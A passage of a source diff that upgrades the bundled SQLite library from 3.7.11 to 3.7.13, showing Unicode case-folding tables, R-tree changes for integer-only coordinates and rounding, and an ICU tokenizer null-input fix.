    {11378, 0, 1},         {11381, 0, 1},         {11390, 78, 2},
+
    {11392, 1, 100},       {11499, 1, 4},         {11506, 0, 1},
+
    {42560, 1, 46},        {42624, 1, 24},        {42786, 1, 14},
+
    {42802, 1, 62},        {42873, 1, 4},         {42877, 76, 1},
+
    {42878, 1, 10},        {42891, 0, 1},         {42893, 74, 1},
+
    {42896, 1, 4},         {42912, 1, 10},        {42922, 72, 1},
+
    {65313, 14, 26},       
+
  };
+
  static const unsigned short aiOff[] = {
+
   1,     2,     8,     15,    16,    26,    28,    32,    
+
   37,    38,    40,    48,    63,    64,    69,    71,    
+
   79,    80,    116,   202,   203,   205,   206,   207,   
+
   209,   210,   211,   213,   214,   217,   218,   219,   
+
   775,   7264,  10792, 10795, 23228, 23256, 30204, 54721, 
+
   54753, 54754, 54756, 54787, 54793, 54809, 57153, 57274, 
+
   57921, 58019, 58363, 61722, 65268, 65341, 65373, 65406, 
+
   65408, 65410, 65415, 65424, 65436, 65439, 65450, 65462, 
+
   65472, 65476, 65478, 65480, 65482, 65488, 65506, 65511, 
+
   65514, 65521, 65527, 65528, 65529, 
+
  };
+

+
  int ret = c;
+

+
  assert( c>=0 );
+
  assert( sizeof(unsigned short)==2 && sizeof(unsigned char)==1 );
+

+
  if( c<128 ){
+
    if( c>='A' && c<='Z' ) ret = c + ('a' - 'A');
+
  }else if( c<65536 ){
+
    int iHi = sizeof(aEntry)/sizeof(aEntry[0]) - 1;
+
    int iLo = 0;
+
    int iRes = -1;
+

+
    while( iHi>=iLo ){
+
      int iTest = (iHi + iLo) / 2;
+
      int cmp = (c - aEntry[iTest].iCode);
+
      if( cmp>=0 ){
+
        iRes = iTest;
+
        iLo = iTest+1;
+
      }else{
+
        iHi = iTest-1;
+
      }
+
    }
+
    assert( iRes<0 || c>=aEntry[iRes].iCode );
+

+
    if( iRes>=0 ){
+
      const struct TableEntry *p = &aEntry[iRes];
+
      if( c<(p->iCode + p->nRange) && 0==(0x01 & p->flags & (p->iCode ^ c)) ){
+
        ret = (c + (aiOff[p->flags>>1])) & 0x0000FFFF;
+
        assert( ret>0 );
+
      }
+
    }
+

+
    if( bRemoveDiacritic ) ret = remove_diacritic(ret);
+
  }
+
  
+
  else if( c>=66560 && c<66600 ){
+
    ret = c + 40;
+
  }
+

+
  return ret;
+
}
+
#endif /* defined(SQLITE_ENABLE_FTS3) || defined(SQLITE_ENABLE_FTS4) */
+
#endif /* !defined(SQLITE_ENABLE_FTS4_UNICODE61) */
+

+
/************** End of fts3_unicode2.c ***************************************/
/************** Begin file rtree.c *******************************************/
/*
** 2001 September 15
@@ -130296,6 +134303,19 @@ struct Rtree {
#define RTREE_COORD_INT32  1

/*
+
** If SQLITE_RTREE_INT_ONLY is defined, then this virtual table will
+
** only deal with integer coordinates.  No floating point operations
+
** will be done.
+
*/
+
#ifdef SQLITE_RTREE_INT_ONLY
+
  typedef sqlite3_int64 RtreeDValue;       /* High accuracy coordinate */
+
  typedef int RtreeValue;                  /* Low accuracy coordinate */
+
#else
+
  typedef double RtreeDValue;              /* High accuracy coordinate */
+
  typedef float RtreeValue;                /* Low accuracy coordinate */
+
#endif
+

+
/*
** The minimum number of cells allowed for a node is a third of the 
** maximum. In Gutman's notation:
**
@@ -130330,20 +134350,25 @@ struct RtreeCursor {
};

union RtreeCoord {
-
  float f;
+
  RtreeValue f;
  int i;
};

/*
** The argument is an RtreeCoord. Return the value stored within the RtreeCoord
-
** formatted as a double. This macro assumes that local variable pRtree points
-
** to the Rtree structure associated with the RtreeCoord.
+
** formatted as a RtreeDValue (double or int64). This macro assumes that local
+
** variable pRtree points to the Rtree structure associated with the
+
** RtreeCoord.
*/
-
#define DCOORD(coord) (                           \
-
  (pRtree->eCoordType==RTREE_COORD_REAL32) ?      \
-
    ((double)coord.f) :                           \
-
    ((double)coord.i)                             \
-
)
+
#ifdef SQLITE_RTREE_INT_ONLY
+
# define DCOORD(coord) ((RtreeDValue)coord.i)
+
#else
+
# define DCOORD(coord) (                           \
+
    (pRtree->eCoordType==RTREE_COORD_REAL32) ?      \
+
      ((double)coord.f) :                           \
+
      ((double)coord.i)                             \
+
  )
+
#endif

/*
** A search constraint.
@@ -130351,8 +134376,8 @@ union RtreeCoord {
struct RtreeConstraint {
  int iCoord;                     /* Index of constrained coordinate */
  int op;                         /* Constraining operation */
-
  double rValue;                  /* Constraint value. */
-
  int (*xGeom)(sqlite3_rtree_geometry *, int, double *, int *);
+
  RtreeDValue rValue;             /* Constraint value. */
+
  int (*xGeom)(sqlite3_rtree_geometry*, int, RtreeDValue*, int*);
  sqlite3_rtree_geometry *pGeom;  /* Constraint callback argument for a MATCH */
};

@@ -130400,10 +134425,10 @@ struct RtreeCell {
*/
struct RtreeMatchArg {
  u32 magic;                      /* Always RTREE_GEOMETRY_MAGIC */
-
  int (*xGeom)(sqlite3_rtree_geometry *, int, double *, int *);
+
  int (*xGeom)(sqlite3_rtree_geometry *, int, RtreeDValue*, int *);
  void *pContext;
  int nParam;
-
  double aParam[1];
+
  RtreeDValue aParam[1];
};

/*
@@ -130415,7 +134440,7 @@ struct RtreeMatchArg {
** the geometry callback function).
*/
struct RtreeGeomCallback {
-
  int (*xGeom)(sqlite3_rtree_geometry *, int, double *, int *);
+
  int (*xGeom)(sqlite3_rtree_geometry*, int, RtreeDValue*, int*);
  void *pContext;
};

@@ -130981,7 +135006,7 @@ static int testRtreeGeom(
  int *pbRes                      /* OUT: Test result */
){
  int i;
-
  double aCoord[RTREE_MAX_DIMENSIONS*2];
+
  RtreeDValue aCoord[RTREE_MAX_DIMENSIONS*2];
  int nCoord = pRtree->nDim*2;

  assert( pConstraint->op==RTREE_MATCH );
@@ -131011,8 +135036,8 @@ static int testRtreeCell(Rtree *pRtree, RtreeCursor *pCursor, int *pbEof){
  nodeGetCell(pRtree, pCursor->pNode, pCursor->iCell, &cell);
  for(ii=0; bRes==0 && ii<pCursor->nConstraint; ii++){
    RtreeConstraint *p = &pCursor->aConstraint[ii];
-
    double cell_min = DCOORD(cell.aCoord[(p->iCoord>>1)*2]);
-
    double cell_max = DCOORD(cell.aCoord[(p->iCoord>>1)*2+1]);
+
    RtreeDValue cell_min = DCOORD(cell.aCoord[(p->iCoord>>1)*2]);
+
    RtreeDValue cell_max = DCOORD(cell.aCoord[(p->iCoord>>1)*2+1]);

    assert(p->op==RTREE_LE || p->op==RTREE_LT || p->op==RTREE_GE 
        || p->op==RTREE_GT || p->op==RTREE_EQ || p->op==RTREE_MATCH
@@ -131064,7 +135089,7 @@ static int testRtreeEntry(Rtree *pRtree, RtreeCursor *pCursor, int *pbEof){
  nodeGetCell(pRtree, pCursor->pNode, pCursor->iCell, &cell);
  for(ii=0; ii<pCursor->nConstraint; ii++){
    RtreeConstraint *p = &pCursor->aConstraint[ii];
-
    double coord = DCOORD(cell.aCoord[p->iCoord]);
+
    RtreeDValue coord = DCOORD(cell.aCoord[p->iCoord]);
    int res;
    assert(p->op==RTREE_LE || p->op==RTREE_LT || p->op==RTREE_GE 
        || p->op==RTREE_GT || p->op==RTREE_EQ || p->op==RTREE_MATCH
@@ -131262,9 +135287,12 @@ static int rtreeColumn(sqlite3_vtab_cursor *cur, sqlite3_context *ctx, int i){
  }else{
    RtreeCoord c;
    nodeGetCoord(pRtree, pCsr->pNode, pCsr->iCell, i-1, &c);
+
#ifndef SQLITE_RTREE_INT_ONLY
    if( pRtree->eCoordType==RTREE_COORD_REAL32 ){
      sqlite3_result_double(ctx, c.f);
-
    }else{
+
    }else
+
#endif
+
    {
      assert( pRtree->eCoordType==RTREE_COORD_INT32 );
      sqlite3_result_int(ctx, c.i);
    }
@@ -131311,7 +135339,7 @@ static int deserializeGeometry(sqlite3_value *pValue, RtreeConstraint *pCons){
  /* Check that the blob is roughly the right size. */
  nBlob = sqlite3_value_bytes(pValue);
  if( nBlob<(int)sizeof(RtreeMatchArg) 
-
   || ((nBlob-sizeof(RtreeMatchArg))%sizeof(double))!=0
+
   || ((nBlob-sizeof(RtreeMatchArg))%sizeof(RtreeDValue))!=0
  ){
    return SQLITE_ERROR;
  }
@@ -131325,7 +135353,7 @@ static int deserializeGeometry(sqlite3_value *pValue, RtreeConstraint *pCons){

  memcpy(p, sqlite3_value_blob(pValue), nBlob);
  if( p->magic!=RTREE_GEOMETRY_MAGIC 
-
   || nBlob!=(int)(sizeof(RtreeMatchArg) + (p->nParam-1)*sizeof(double))
+
   || nBlob!=(int)(sizeof(RtreeMatchArg) + (p->nParam-1)*sizeof(RtreeDValue))
  ){
    sqlite3_free(pGeom);
    return SQLITE_ERROR;
@@ -131397,7 +135425,11 @@ static int rtreeFilter(
              break;
            }
          }else{
+
#ifdef SQLITE_RTREE_INT_ONLY
+
            p->rValue = sqlite3_value_int64(argv[ii]);
+
#else
            p->rValue = sqlite3_value_double(argv[ii]);
+
#endif
          }
        }
      }
@@ -131531,11 +135563,11 @@ static int rtreeBestIndex(sqlite3_vtab *tab, sqlite3_index_info *pIdxInfo){
/*
** Return the N-dimensional volumn of the cell stored in *p.
*/
-
static float cellArea(Rtree *pRtree, RtreeCell *p){
-
  float area = 1.0;
+
static RtreeDValue cellArea(Rtree *pRtree, RtreeCell *p){
+
  RtreeDValue area = (RtreeDValue)1;
  int ii;
  for(ii=0; ii<(pRtree->nDim*2); ii+=2){
-
    area = (float)(area * (DCOORD(p->aCoord[ii+1]) - DCOORD(p->aCoord[ii])));
+
    area = (area * (DCOORD(p->aCoord[ii+1]) - DCOORD(p->aCoord[ii])));
  }
  return area;
}
@@ -131544,11 +135576,11 @@ static float cellArea(Rtree *pRtree, RtreeCell *p){
** Return the margin length of cell p. The margin length is the sum
** of the objects size in each dimension.
*/
-
static float cellMargin(Rtree *pRtree, RtreeCell *p){
-
  float margin = 0.0;
+
static RtreeDValue cellMargin(Rtree *pRtree, RtreeCell *p){
+
  RtreeDValue margin = (RtreeDValue)0;
  int ii;
  for(ii=0; ii<(pRtree->nDim*2); ii+=2){
-
    margin += (float)(DCOORD(p->aCoord[ii+1]) - DCOORD(p->aCoord[ii]));
+
    margin += (DCOORD(p->aCoord[ii+1]) - DCOORD(p->aCoord[ii]));
  }
  return margin;
}
@@ -131593,8 +135625,8 @@ static int cellContains(Rtree *pRtree, RtreeCell *p1, RtreeCell *p2){
/*
** Return the amount cell p would grow by if it were unioned with pCell.
*/
-
static float cellGrowth(Rtree *pRtree, RtreeCell *p, RtreeCell *pCell){
-
  float area;
+
static RtreeDValue cellGrowth(Rtree *pRtree, RtreeCell *p, RtreeCell *pCell){
+
  RtreeDValue area;
  RtreeCell cell;
  memcpy(&cell, p, sizeof(RtreeCell));
  area = cellArea(pRtree, &cell);
@@ -131603,7 +135635,7 @@ static float cellGrowth(Rtree *pRtree, RtreeCell *p, RtreeCell *pCell){
}

#if VARIANT_RSTARTREE_CHOOSESUBTREE || VARIANT_RSTARTREE_SPLIT
-
static float cellOverlap(
+
static RtreeDValue cellOverlap(
  Rtree *pRtree, 
  RtreeCell *p, 
  RtreeCell *aCell, 
@@ -131611,7 +135643,7 @@ static float cellOverlap(
  int iExclude
){
  int ii;
-
  float overlap = 0.0;
+
  RtreeDValue overlap = 0.0;
  for(ii=0; ii<nCell; ii++){
#if VARIANT_RSTARTREE_CHOOSESUBTREE
    if( ii!=iExclude )
@@ -131621,10 +135653,9 @@ static float cellOverlap(
#endif
    {
      int jj;
-
      float o = 1.0;
+
      RtreeDValue o = (RtreeDValue)1;
      for(jj=0; jj<(pRtree->nDim*2); jj+=2){
-
        double x1;
-
        double x2;
+
        RtreeDValue x1, x2;

        x1 = MAX(DCOORD(p->aCoord[jj]), DCOORD(aCell[ii].aCoord[jj]));
        x2 = MIN(DCOORD(p->aCoord[jj+1]), DCOORD(aCell[ii].aCoord[jj+1]));
@@ -131633,7 +135664,7 @@ static float cellOverlap(
          o = 0.0;
          break;
        }else{
-
          o = o * (float)(x2-x1);
+
          o = o * (x2-x1);
        }
      }
      overlap += o;
@@ -131644,7 +135675,7 @@ static float cellOverlap(
#endif

#if VARIANT_RSTARTREE_CHOOSESUBTREE
-
static float cellOverlapEnlargement(
+
static RtreeDValue cellOverlapEnlargement(
  Rtree *pRtree, 
  RtreeCell *p, 
  RtreeCell *pInsert, 
@@ -131652,12 +135683,11 @@ static float cellOverlapEnlargement(
  int nCell, 
  int iExclude
){
-
  double before;
-
  double after;
+
  RtreeDValue before, after;
  before = cellOverlap(pRtree, p, aCell, nCell, iExclude);
  cellUnion(pRtree, p, pInsert);
  after = cellOverlap(pRtree, p, aCell, nCell, iExclude);
-
  return (float)(after-before);
+
  return (after-before);
}
#endif

@@ -131681,11 +135711,11 @@ static int ChooseLeaf(
    int iCell;
    sqlite3_int64 iBest = 0;

-
    float fMinGrowth = 0.0;
-
    float fMinArea = 0.0;
+
    RtreeDValue fMinGrowth = 0.0;
+
    RtreeDValue fMinArea = 0.0;
#if VARIANT_RSTARTREE_CHOOSESUBTREE
-
    float fMinOverlap = 0.0;
-
    float overlap;
+
    RtreeDValue fMinOverlap = 0.0;
+
    RtreeDValue overlap;
#endif

    int nCell = NCELL(pNode);
@@ -131716,8 +135746,8 @@ static int ChooseLeaf(
    */
    for(iCell=0; iCell<nCell; iCell++){
      int bBest = 0;
-
      float growth;
-
      float area;
+
      RtreeDValue growth;
+
      RtreeDValue area;
      nodeGetCell(pRtree, pNode, iCell, &cell);
      growth = cellGrowth(pRtree, &cell, pCell);
      area = cellArea(pRtree, &cell);
@@ -131844,7 +135874,7 @@ static void LinearPickSeeds(
  int i;
  int iLeftSeed = 0;
  int iRightSeed = 1;
-
  float maxNormalInnerWidth = 0.0;
+
  RtreeDValue maxNormalInnerWidth = (RtreeDValue)0;

  /* Pick two "seed" cells from the array of cells. The algorithm used
  ** here is the LinearPickSeeds algorithm from Gutman[1984]. The 
@@ -131852,18 +135882,18 @@ static void LinearPickSeeds(
  ** variables iLeftSeek and iRightSeed.
  */
  for(i=0; i<pRtree->nDim; i++){
-
    float x1 = DCOORD(aCell[0].aCoord[i*2]);
-
    float x2 = DCOORD(aCell[0].aCoord[i*2+1]);
-
    float x3 = x1;
-
    float x4 = x2;
+
    RtreeDValue x1 = DCOORD(aCell[0].aCoord[i*2]);
+
    RtreeDValue x2 = DCOORD(aCell[0].aCoord[i*2+1]);
+
    RtreeDValue x3 = x1;
+
    RtreeDValue x4 = x2;
    int jj;

    int iCellLeft = 0;
    int iCellRight = 0;

    for(jj=1; jj<nCell; jj++){
-
      float left = DCOORD(aCell[jj].aCoord[i*2]);
-
      float right = DCOORD(aCell[jj].aCoord[i*2+1]);
+
      RtreeDValue left = DCOORD(aCell[jj].aCoord[i*2]);
+
      RtreeDValue right = DCOORD(aCell[jj].aCoord[i*2+1]);

      if( left<x1 ) x1 = left;
      if( right>x4 ) x4 = right;
@@ -131878,7 +135908,7 @@ static void LinearPickSeeds(
    }

    if( x4!=x1 ){
-
      float normalwidth = (x3 - x2) / (x4 - x1);
+
      RtreeDValue normalwidth = (x3 - x2) / (x4 - x1);
      if( normalwidth>maxNormalInnerWidth ){
        iLeftSeed = iCellLeft;
        iRightSeed = iCellRight;
@@ -131907,13 +135937,13 @@ static RtreeCell *QuadraticPickNext(
  #define FABS(a) ((a)<0.0?-1.0*(a):(a))

  int iSelect = -1;
-
  float fDiff;
+
  RtreeDValue fDiff;
  int ii;
  for(ii=0; ii<nCell; ii++){
    if( aiUsed[ii]==0 ){
-
      float left = cellGrowth(pRtree, pLeftBox, &aCell[ii]);
-
      float right = cellGrowth(pRtree, pLeftBox, &aCell[ii]);
-
      float diff = FABS(right-left);
+
      RtreeDValue left = cellGrowth(pRtree, pLeftBox, &aCell[ii]);
+
      RtreeDValue right = cellGrowth(pRtree, pLeftBox, &aCell[ii]);
+
      RtreeDValue diff = FABS(right-left);
      if( iSelect<0 || diff>fDiff ){
        fDiff = diff;
        iSelect = ii;
@@ -131940,13 +135970,13 @@ static void QuadraticPickSeeds(

  int iLeftSeed = 0;
  int iRightSeed = 1;
-
  float fWaste = 0.0;
+
  RtreeDValue fWaste = 0.0;

  for(ii=0; ii<nCell; ii++){
    for(jj=ii+1; jj<nCell; jj++){
-
      float right = cellArea(pRtree, &aCell[jj]);
-
      float growth = cellGrowth(pRtree, &aCell[ii], &aCell[jj]);
-
      float waste = growth - right;
+
      RtreeDValue right = cellArea(pRtree, &aCell[jj]);
+
      RtreeDValue growth = cellGrowth(pRtree, &aCell[ii], &aCell[jj]);
+
      RtreeDValue waste = growth - right;

      if( waste>fWaste ){
        iLeftSeed = ii;
@@ -131981,7 +136011,7 @@ static void QuadraticPickSeeds(
static void SortByDistance(
  int *aIdx, 
  int nIdx, 
-
  float *aDistance, 
+
  RtreeDValue *aDistance, 
  int *aSpare
){
  if( nIdx>1 ){
@@ -132007,8 +136037,8 @@ static void SortByDistance(
        aIdx[iLeft+iRight] = aLeft[iLeft];
        iLeft++;
      }else{
-
        float fLeft = aDistance[aLeft[iLeft]];
-
        float fRight = aDistance[aRight[iRight]];
+
        RtreeDValue fLeft = aDistance[aLeft[iLeft]];
+
        RtreeDValue fRight = aDistance[aRight[iRight]];
        if( fLeft<fRight ){
          aIdx[iLeft+iRight] = aLeft[iLeft];
          iLeft++;
@@ -132024,8 +136054,8 @@ static void SortByDistance(
    {
      int jj;
      for(jj=1; jj<nIdx; jj++){
-
        float left = aDistance[aIdx[jj-1]];
-
        float right = aDistance[aIdx[jj]];
+
        RtreeDValue left = aDistance[aIdx[jj-1]];
+
        RtreeDValue right = aDistance[aIdx[jj]];
        assert( left<=right );
      }
    }
@@ -132068,10 +136098,10 @@ static void SortByDimension(
    memcpy(aSpare, aLeft, sizeof(int)*nLeft);
    aLeft = aSpare;
    while( iLeft<nLeft || iRight<nRight ){
-
      double xleft1 = DCOORD(aCell[aLeft[iLeft]].aCoord[iDim*2]);
-
      double xleft2 = DCOORD(aCell[aLeft[iLeft]].aCoord[iDim*2+1]);
-
      double xright1 = DCOORD(aCell[aRight[iRight]].aCoord[iDim*2]);
-
      double xright2 = DCOORD(aCell[aRight[iRight]].aCoord[iDim*2+1]);
+
      RtreeDValue xleft1 = DCOORD(aCell[aLeft[iLeft]].aCoord[iDim*2]);
+
      RtreeDValue xleft2 = DCOORD(aCell[aLeft[iLeft]].aCoord[iDim*2+1]);
+
      RtreeDValue xright1 = DCOORD(aCell[aRight[iRight]].aCoord[iDim*2]);
+
      RtreeDValue xright2 = DCOORD(aCell[aRight[iRight]].aCoord[iDim*2+1]);
      if( (iLeft!=nLeft) && ((iRight==nRight)
       || (xleft1<xright1)
       || (xleft1==xright1 && xleft2<xright2)
@@ -132089,10 +136119,10 @@ static void SortByDimension(
    {
      int jj;
      for(jj=1; jj<nIdx; jj++){
-
        float xleft1 = aCell[aIdx[jj-1]].aCoord[iDim*2];
-
        float xleft2 = aCell[aIdx[jj-1]].aCoord[iDim*2+1];
-
        float xright1 = aCell[aIdx[jj]].aCoord[iDim*2];
-
        float xright2 = aCell[aIdx[jj]].aCoord[iDim*2+1];
+
        RtreeDValue xleft1 = aCell[aIdx[jj-1]].aCoord[iDim*2];
+
        RtreeDValue xleft2 = aCell[aIdx[jj-1]].aCoord[iDim*2+1];
+
        RtreeDValue xright1 = aCell[aIdx[jj]].aCoord[iDim*2];
+
        RtreeDValue xright2 = aCell[aIdx[jj]].aCoord[iDim*2+1];
        assert( xleft1<=xright1 && (xleft1<xright1 || xleft2<=xright2) );
      }
    }
@@ -132119,7 +136149,7 @@ static int splitNodeStartree(

  int iBestDim = 0;
  int iBestSplit = 0;
-
  float fBestMargin = 0.0;
+
  RtreeDValue fBestMargin = 0.0;

  int nByte = (pRtree->nDim+1)*(sizeof(int*)+nCell*sizeof(int));

@@ -132140,9 +136170,9 @@ static int splitNodeStartree(
  }

  for(ii=0; ii<pRtree->nDim; ii++){
-
    float margin = 0.0;
-
    float fBestOverlap = 0.0;
-
    float fBestArea = 0.0;
+
    RtreeDValue margin = 0.0;
+
    RtreeDValue fBestOverlap = 0.0;
+
    RtreeDValue fBestArea = 0.0;
    int iBestLeft = 0;
    int nLeft;

@@ -132154,8 +136184,8 @@ static int splitNodeStartree(
      RtreeCell left;
      RtreeCell right;
      int kk;
-
      float overlap;
-
      float area;
+
      RtreeDValue overlap;
+
      RtreeDValue area;

      memcpy(&left, &aCell[aaSorted[ii][0]], sizeof(RtreeCell));
      memcpy(&right, &aCell[aaSorted[ii][nCell-1]], sizeof(RtreeCell));
@@ -132238,7 +136268,7 @@ static int splitNodeGuttman(
  for(i=nCell-2; i>0; i--){
    RtreeCell *pNext;
    pNext = PickNext(pRtree, aCell, nCell, pBboxLeft, pBboxRight, aiUsed);
-
    float diff =  
+
    RtreeDValue diff =  
      cellGrowth(pRtree, pBboxLeft, pNext) - 
      cellGrowth(pRtree, pBboxRight, pNext)
    ;
@@ -132571,32 +136601,34 @@ static int Reinsert(
  int *aOrder;
  int *aSpare;
  RtreeCell *aCell;
-
  float *aDistance;
+
  RtreeDValue *aDistance;
  int nCell;
-
  float aCenterCoord[RTREE_MAX_DIMENSIONS];
+
  RtreeDValue aCenterCoord[RTREE_MAX_DIMENSIONS];
  int iDim;
  int ii;
  int rc = SQLITE_OK;
+
  int n;

-
  memset(aCenterCoord, 0, sizeof(float)*RTREE_MAX_DIMENSIONS);
+
  memset(aCenterCoord, 0, sizeof(RtreeDValue)*RTREE_MAX_DIMENSIONS);

  nCell = NCELL(pNode)+1;
+
  n = (nCell+1)&(~1);

  /* Allocate the buffers used by this operation. The allocation is
  ** relinquished before this function returns.
  */
-
  aCell = (RtreeCell *)sqlite3_malloc(nCell * (
-
    sizeof(RtreeCell) +         /* aCell array */
-
    sizeof(int)       +         /* aOrder array */
-
    sizeof(int)       +         /* aSpare array */
-
    sizeof(float)               /* aDistance array */
+
  aCell = (RtreeCell *)sqlite3_malloc(n * (
+
    sizeof(RtreeCell)     +         /* aCell array */
+
    sizeof(int)           +         /* aOrder array */
+
    sizeof(int)           +         /* aSpare array */
+
    sizeof(RtreeDValue)             /* aDistance array */
  ));
  if( !aCell ){
    return SQLITE_NOMEM;
  }
-
  aOrder    = (int *)&aCell[nCell];
-
  aSpare    = (int *)&aOrder[nCell];
-
  aDistance = (float *)&aSpare[nCell];
+
  aOrder    = (int *)&aCell[n];
+
  aSpare    = (int *)&aOrder[n];
+
  aDistance = (RtreeDValue *)&aSpare[n];

  for(ii=0; ii<nCell; ii++){
    if( ii==(nCell-1) ){
@@ -132606,19 +136638,19 @@ static int Reinsert(
    }
    aOrder[ii] = ii;
    for(iDim=0; iDim<pRtree->nDim; iDim++){
-
      aCenterCoord[iDim] += (float)DCOORD(aCell[ii].aCoord[iDim*2]);
-
      aCenterCoord[iDim] += (float)DCOORD(aCell[ii].aCoord[iDim*2+1]);
+
      aCenterCoord[iDim] += DCOORD(aCell[ii].aCoord[iDim*2]);
+
      aCenterCoord[iDim] += DCOORD(aCell[ii].aCoord[iDim*2+1]);
    }
  }
  for(iDim=0; iDim<pRtree->nDim; iDim++){
-
    aCenterCoord[iDim] = (float)(aCenterCoord[iDim]/((float)nCell*2.0));
+
    aCenterCoord[iDim] = (aCenterCoord[iDim]/(nCell*(RtreeDValue)2));
  }

  for(ii=0; ii<nCell; ii++){
    aDistance[ii] = 0.0;
    for(iDim=0; iDim<pRtree->nDim; iDim++){
-
      float coord = (float)(DCOORD(aCell[ii].aCoord[iDim*2+1]) - 
-
          DCOORD(aCell[ii].aCoord[iDim*2]));
+
      RtreeDValue coord = (DCOORD(aCell[ii].aCoord[iDim*2+1]) - 
+
                               DCOORD(aCell[ii].aCoord[iDim*2]));
      aDistance[ii] += (coord-aCenterCoord[iDim])*(coord-aCenterCoord[iDim]);
    }
  }
@@ -132828,6 +136860,36 @@ static int rtreeDeleteRowid(Rtree *pRtree, sqlite3_int64 iDelete){
}

/*
+
** Rounding constants for float->double conversion.
+
*/
+
#define RNDTOWARDS  (1.0 - 1.0/8388608.0)  /* Round towards zero */
+
#define RNDAWAY     (1.0 + 1.0/8388608.0)  /* Round away from zero */
+

+
#if !defined(SQLITE_RTREE_INT_ONLY)
+
/*
+
** Convert an sqlite3_value into an RtreeValue (presumably a float)
+
** while taking care to round toward negative or positive, respectively.
+
*/
+
static RtreeValue rtreeValueDown(sqlite3_value *v){
+
  double d = sqlite3_value_double(v);
+
  float f = (float)d;
+
  if( f>d ){
+
    f = (float)(d*(d<0 ? RNDAWAY : RNDTOWARDS));
+
  }
+
  return f;
+
}
+
static RtreeValue rtreeValueUp(sqlite3_value *v){
+
  double d = sqlite3_value_double(v);
+
  float f = (float)d;
+
  if( f<d ){
+
    f = (float)(d*(d<0 ? RNDTOWARDS : RNDAWAY));
+
  }
+
  return f;
+
}
+
#endif /* !defined(SQLITE_RTREE_INT_ONLY) */
+

+

+
/*
** The xUpdate method for rtree module virtual tables.
*/
static int rtreeUpdate(
@@ -132860,16 +136922,19 @@ static int rtreeUpdate(

    /* Populate the cell.aCoord[] array. The first coordinate is azData[3]. */
    assert( nData==(pRtree->nDim*2 + 3) );
+
#ifndef SQLITE_RTREE_INT_ONLY
    if( pRtree->eCoordType==RTREE_COORD_REAL32 ){
      for(ii=0; ii<(pRtree->nDim*2); ii+=2){
-
        cell.aCoord[ii].f = (float)sqlite3_value_double(azData[ii+3]);
-
        cell.aCoord[ii+1].f = (float)sqlite3_value_double(azData[ii+4]);
+
        cell.aCoord[ii].f = rtreeValueDown(azData[ii+3]);
+
        cell.aCoord[ii+1].f = rtreeValueUp(azData[ii+4]);
        if( cell.aCoord[ii].f>cell.aCoord[ii+1].f ){
          rc = SQLITE_CONSTRAINT;
          goto constraint;
        }
      }
-
    }else{
+
    }else
+
#endif
+
    {
      for(ii=0; ii<(pRtree->nDim*2); ii+=2){
        cell.aCoord[ii].i = sqlite3_value_int(azData[ii+3]);
        cell.aCoord[ii+1].i = sqlite3_value_int(azData[ii+4]);
@@ -133267,7 +137332,13 @@ static void rtreenode(sqlite3_context *ctx, int nArg, sqlite3_value **apArg){
    sqlite3_snprintf(512-nCell,&zCell[nCell],"%lld", cell.iRowid);
    nCell = (int)strlen(zCell);
    for(jj=0; jj<tree.nDim*2; jj++){
-
      sqlite3_snprintf(512-nCell,&zCell[nCell]," %f",(double)cell.aCoord[jj].f);
+
#ifndef SQLITE_RTREE_INT_ONLY
+
      sqlite3_snprintf(512-nCell,&zCell[nCell], " %f",
+
                       (double)cell.aCoord[jj].f);
+
#else
+
      sqlite3_snprintf(512-nCell,&zCell[nCell], " %d",
+
                       cell.aCoord[jj].i);
+
#endif
      nCell = (int)strlen(zCell);
    }

@@ -133309,7 +137380,11 @@ SQLITE_PRIVATE int sqlite3RtreeInit(sqlite3 *db){
    rc = sqlite3_create_function(db, "rtreedepth", 1, utf8, 0,rtreedepth, 0, 0);
  }
  if( rc==SQLITE_OK ){
+
#ifdef SQLITE_RTREE_INT_ONLY
+
    void *c = (void *)RTREE_COORD_INT32;
+
#else
    void *c = (void *)RTREE_COORD_REAL32;
+
#endif
    rc = sqlite3_create_module_v2(db, "rtree", &rtreeModule, c, 0);
  }
  if( rc==SQLITE_OK ){
@@ -133343,7 +137418,7 @@ static void geomCallback(sqlite3_context *ctx, int nArg, sqlite3_value **aArg){
  RtreeMatchArg *pBlob;
  int nBlob;

-
  nBlob = sizeof(RtreeMatchArg) + (nArg-1)*sizeof(double);
+
  nBlob = sizeof(RtreeMatchArg) + (nArg-1)*sizeof(RtreeDValue);
  pBlob = (RtreeMatchArg *)sqlite3_malloc(nBlob);
  if( !pBlob ){
    sqlite3_result_error_nomem(ctx);
@@ -133354,7 +137429,11 @@ static void geomCallback(sqlite3_context *ctx, int nArg, sqlite3_value **aArg){
    pBlob->pContext = pGeomCtx->pContext;
    pBlob->nParam = nArg;
    for(i=0; i<nArg; i++){
+
#ifdef SQLITE_RTREE_INT_ONLY
+
      pBlob->aParam[i] = sqlite3_value_int64(aArg[i]);
+
#else
      pBlob->aParam[i] = sqlite3_value_double(aArg[i]);
+
#endif
    }
    sqlite3_result_blob(ctx, pBlob, nBlob, doSqlite3Free);
  }
@@ -133366,7 +137445,7 @@ static void geomCallback(sqlite3_context *ctx, int nArg, sqlite3_value **aArg){
SQLITE_API int sqlite3_rtree_geometry_callback(
  sqlite3 *db,
  const char *zGeom,
-
  int (*xGeom)(sqlite3_rtree_geometry *, int, double *, int *),
+
  int (*xGeom)(sqlite3_rtree_geometry *, int, RtreeDValue *, int *),
  void *pContext
){
  RtreeGeomCallback *pGeomCtx;      /* Context object for new user-function */
@@ -134011,7 +138090,10 @@ static int icuOpen(

  *ppCursor = 0;

-
  if( nInput<0 ){
+
  if( zInput==0 ){
+
    nInput = 0;
+
    zInput = "";
+
  }else if( nInput<0 ){
    nInput = strlen(zInput);
  }
  nChar = nInput+1;
modified external/sqlite/sqlite3.h
@@ -107,9 +107,9 @@ extern "C" {
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
** [sqlite_version()] and [sqlite_source_id()].
*/
-
#define SQLITE_VERSION        "3.7.11"
-
#define SQLITE_VERSION_NUMBER 3007011
-
#define SQLITE_SOURCE_ID      "2012-03-20 11:35:50 00bb9c9ce4f465e6ac321ced2a9d0062dc364669"
+
#define SQLITE_VERSION        "3.7.13"
+
#define SQLITE_VERSION_NUMBER 3007013
+
#define SQLITE_SOURCE_ID      "2012-06-11 02:05:22 f5b5a13f7394dc143aa136f1d4faba6839eaa6dc"

/*
** CAPI3REF: Run-Time Library Version Numbers
@@ -458,6 +458,7 @@ SQLITE_API int sqlite3_exec(
#define SQLITE_LOCKED_SHAREDCACHE      (SQLITE_LOCKED |  (1<<8))
#define SQLITE_BUSY_RECOVERY           (SQLITE_BUSY   |  (1<<8))
